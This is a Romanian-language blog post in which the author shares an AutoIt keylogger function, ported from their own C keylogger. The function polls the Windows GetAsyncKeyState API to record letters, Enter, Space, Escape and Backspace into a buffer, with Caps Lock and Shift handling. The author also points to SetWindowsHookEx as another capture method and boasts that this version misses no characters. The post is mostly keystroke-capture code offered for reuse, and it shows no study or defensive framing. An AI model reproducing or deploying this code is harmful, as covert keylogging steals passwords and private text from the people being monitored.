Autoit Keylogger Function

This article has been written before more than 24months, information might old.

Ok am mai vazut ceva din codul meu care apare pe tot felul de website-uri dubioase , aceasta functie de autoit am portat-o din keylogerul meu scris in c dupa acest model se poate scrie in orice limbaj de programare care are abilitatea de a chema functii din api-ul windowsului precum c# , VB , VB.NET , c, c++ , MASM si orice altceva .
( Observatie: in masm este mai greu pentru ca nu avem o functie de transformare din integer in ascii se poate face cu atoi din msvcrt32.dll dar dupa cum spuneam e mai complicat )

Asta este una din cele doua metode mai exista metoda cu setwindowshookex care este mult mai greu de implementat in limbajele scripting .

Functia :

Global $KeysBuffer="";
Func KeyLogger()
For $i = 8 to 190 Step +1
$KeyRet = DllCall($dll , "int" ,  "GetAsyncKeyState" , "int" , $i )
if ($KeyRet[0] = -32767 ) Then
	;Special keys
    if($i = 0x0D) Then ; [-Enter-]
     $KeysBuffer=$KeysBuffer&"[-EnTeR-]";
	ElseIf($i = 0x20) Then ; [-Space-]
     $KeysBuffer=$KeysBuffer&Chr(0x20);
	Elseif($i = 0x1B) Then ; [-Escape-]
	 $KeysBuffer=$KeysBuffer&"[-EsCaPe-]";
	ElseIf($i = 0x08) Then ; [-BackSpace-]
     $KeysBuffer=$KeysBuffer&"[-BackSpace-]";
	EndIf
   ;==> Special keys
  ; From  Aa to Zz
	if( $i >= 60 And $i < = 90) Then
	$GetCaps =  DllCall($dll , "int" ,  "GetAsyncKeyState" , "int" , 0x14)
	$GetShft =  DllCall($dll , "int" ,  "GetAsyncKeyState" , "int" , 0x10)
		if($GetCaps[0] Or $GetShft[0] ) Then
			$KeysBuffer=$KeysBuffer&Chr($i);
		Else
            $KeysBuffer=$KeysBuffer&Chr($i+32);
		EndIf
	EndIf
  ;==> From Aa to Zz
EndIf
Next
EndFunc

Aceasta functie nu da rateuri precum dau majoritatea keyloggerelor facute in autoit si inregistreaza corect toate caracterele .

Share the joy

One Response

  1. Noxarethor februarie 13, 2010

Leave a Reply